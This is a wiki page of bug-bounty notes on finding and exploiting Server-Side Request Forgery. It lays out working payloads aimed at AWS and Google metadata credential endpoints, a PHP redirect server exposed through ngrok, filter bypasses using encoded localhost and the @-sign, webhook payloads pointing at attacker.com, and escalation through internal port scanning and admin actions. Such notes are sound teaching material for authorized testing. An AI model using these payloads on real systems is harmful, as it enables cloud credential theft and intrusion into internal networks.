User Tools

Site Tools


zseano:ssrf

SSRF Testing

Server-Side Request Forgery: trick the server into making requests to internal/cloud resources.

Where to Look

  • Features that take a URL parameterAPI consoles, webhooks, developer tools
  • Import from URL features
  • PDF/screenshot generators
  • Anything that fetches a remote resource on your behalf

Common Vulnerable Parameters

dest, url, uri, path, document, folder, root, pg, style, pdf,
template, php_path, doc, redirect, return, window

Targets to Hit

http://169.254.169.254/latest/meta-data/          # AWS metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/
http://localhost/
http://127.0.0.1/
http://[::1]/

Redirect-Based Bypass

Host a PHP redirect server locally and expose via ngrok:

<?php header("Location: ".$_GET['url']); ?>
php -S 0.0.0.0:8080
ngrok http 8080

The target's filter may only validate the input URL, not the final redirect destination. Submit your ngrok URL and redirect to http://169.254.169.254/.

Chain with Open Redirects

If the target has an open redirect at /redirect?goto=, use it as the SSRF payload:

https://target.com/fetch?url=https://target.com/redirect?goto=http://169.254.169.254/

The server fetches its own open redirect, which bounces to the internal resource.

Timing Detection

When you can't see the response, use a sleep-redirect to confirm SSRF:

<?php sleep(10); header("Location: http://169.254.169.254/"); ?>

A 10-second delay in the response confirms the server is following redirects to your controlled endpoint.

Escalation

  • AWS metadata IAM credentials = AWS API access
  • Internal admin panels via localhost
  • Port scanning internal network
  • Cloud metadata = pivot into cloud infrastructure

See Also

BBC Ch 13: Server-Side Request Forgery (SSRF)

Merged from Bug Bounty Bootcamp Ch 13 by Vickie Li

How SSRF Works

SSRF lets an attacker send requests from a trusted server on behalf of themselves. A public web server that fetches URLs supplied by the user can be directed to reach internal services that are normally firewalled from the internet.

Classic example – proxy service:

https://public.example.com/proxy?url=https://google.com  (intended)
https://public.example.com/proxy?url=https://admin.example.com  (SSRF: fetches internal admin panel)

The request to admin.example.com originates from the trusted public server, not the attacker's machine, so internal firewall rules permit it.

Regular vs Blind SSRF: regular SSRF returns the fetched content in the HTTP response; blind SSRF executes the request but does not return the result. Both exploit the same trust relationships, but blind requires out-of-band confirmation.

Prevention

  • Blocklist – reject requests to internal network addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.x.x); most common approach
  • Allowlist – only permit requests to a predetermined set of approved URLs; stricter but more bypass-resistant
  • Secret headers – require internal requests to include a special header or token not accessible to external users

Hunting for SSRFs

Step 1: Spot Prone Features

Any feature that causes the server to fetch an external resource is a candidate:

  • Webhooks – app configuration pages where you supply a URL for callbacks (Slack event subscriptions, GitHub webhooks, etc.)
  • File upload via URL – “upload from URL” or “import from link” features
  • Link expansion / thumbnails – automatic preview generation when a URL is pasted
  • Proxy servicesURL parameters that return external content
  • XML / PDF processing – server-side parsers that resolve external entities or fetch resources embedded in documents
  • Hidden API endpoints – undocumented endpoints that accept a URL parameter
  • HTML injection in img/iframe src – user input inserted into HTML that the server later renders server-side

Record each candidate endpoint:

Webhook:    POST /webhook          body: url=https://attacker.com
File upload: POST /upload_from_url body: user_id=1234&url=https://attacker.com/img.jpeg
Proxy:      GET /proxy?url=https://google.com

Step 2: Submit Internal URLs

Replace the URL value with common internal addresses:

localhost
127.0.0.1
0.0.0.0
192.168.0.1
10.0.0.1
169.254.169.254  (AWS instance metadata)

Examples:

POST /webhook
url=https://192.168.0.1

POST /upload_profile_from_url
user_id=1234&url=https://127.0.0.1:22

Step 3: Check the Results

Regular SSRF: look for service banners or internal content in the HTTP response:

Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

A service banner in the error message confirms SSRF.

Blind SSRF: use out-of-band detection:

  • Start a Netcat listener: nc -lp 8080 and point payloads to your IP:8080
  • Use Burp Collaborator (generates unique domain names and monitors for interactions)
  • Compare HTTP status codes (200 vs 500) across different internal IPs and ports to infer which hosts and ports are reachable
  • Compare response times – closed ports respond faster (connection refused); firewalled ports respond slower (timeout)

Bypassing SSRF Protection

Bypass Allowlists

If the server only allows URLs from a specific domain (e.g., pics.example.com):

Open redirect chain: use an open redirect on the allowlisted domain to bounce to an internal address:

url=https://pics.example.com/123?redirect=127.0.0.1

@-sign trick (host confused as credentials):

url=https://pics.example.com@127.0.0.1

Directory trick (internal IP with allowlisted domain as path):

url=https://127.0.0.1/pics.example.com

Bypass Blocklists

Attacker redirect: make the server request a URL you control that redirects to the blocked internal address:

url=https://attacker.com/ssrf

Serve this PHP on attacker.com:

<?php header("location: http://127.0.0.1"); ?>

IPv6: blocklists for IPv4 often don't cover IPv6 equivalents:

url=http://[::1]        (IPv6 localhost)
url=http://[fc00::]     (IPv6 private network)

Custom DNS: point a domain you control to 127.0.0.1 via an A record, then use your domain as the URL.

Encoding variants of 127.0.0.1:

Hex:    https://0x7f.0x0.0x0.0x1
Octal:  https://0177.0.0.01
Dword:  https://2130706433
URL:    https://%6c%6f%63%61%6c%68%6f%73%74   (localhost)
Mixed:  https://0177.0.0.0x1

Escalating the Attack

Network and Port Scanning

Iterate over internal IP ranges and port numbers; observe differences in response codes or response time to map the internal network:

url=https://10.0.0.1  -> 200 + Apache banner  (host exists)
url=https://10.0.0.2  -> 500 "Connection Failed"  (no host)

url=https://10.0.0.1:80   -> 200 (port open)
url=https://10.0.0.1:11   -> 500 (port closed)

Use SSRFmap (https://github.com/swisskyrepo/SSRFmap/) to automate scanning.

Pull EC2 Instance Metadata

If the target runs on AWS, query the metadata endpoint from the SSRF:

url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
url=http://169.254.169.254/latest/dynamic/instance-identity/document/
url=http://169.254.169.254/latest/user-data/

These can leak IAM role credentials, S3 access tokens, and private IP addresses.

Pull Google Cloud Metadata

APIv1 requires special headers (Metadata-Flavor: Google) but v1beta1 does not:

url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
url=http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys

Note: v1beta1 was deprecated in 2020 and may be disabled on newer instances.

Attack Internal Services

  • Bypass access control – access internal admin panels only reachable from trusted IPs:

url=https://admin.example.com

  • Internal API calls – trigger admin-only actions:

url=https://admin.example.com/delete_user?user=1

  • Escalate to RCE – use leaked credentials to upload a shell; access an unsecured admin panel with script-execution features

8-Step Checklist

  1. Spot features prone to SSRF: webhooks, URL file uploads, proxy services, link expansion, XML/PDF processors, hidden API endpoints.
  2. Set up a Netcat listener or Burp Collaborator for blind SSRF detection.
  3. Submit internal addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.169.254) to each candidate endpoint.
  4. Check regular SSRF responses for service banners or internal page content.
  5. For blind SSRF: compare status codes and response times across hosts and ports to infer network topology.
  6. If protection is present, try bypass techniques: open redirect chain, @-sign trick, IPv6, custom DNS, encoding variants.
  7. Escalate: scan network, pull cloud metadata (AWS/GCP), bypass internal access controls, execute internal API calls.
  8. Draft report with curl PoC showing concrete data returned or access achieved.
zseano/ssrf.txt · Last modified: by drew

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki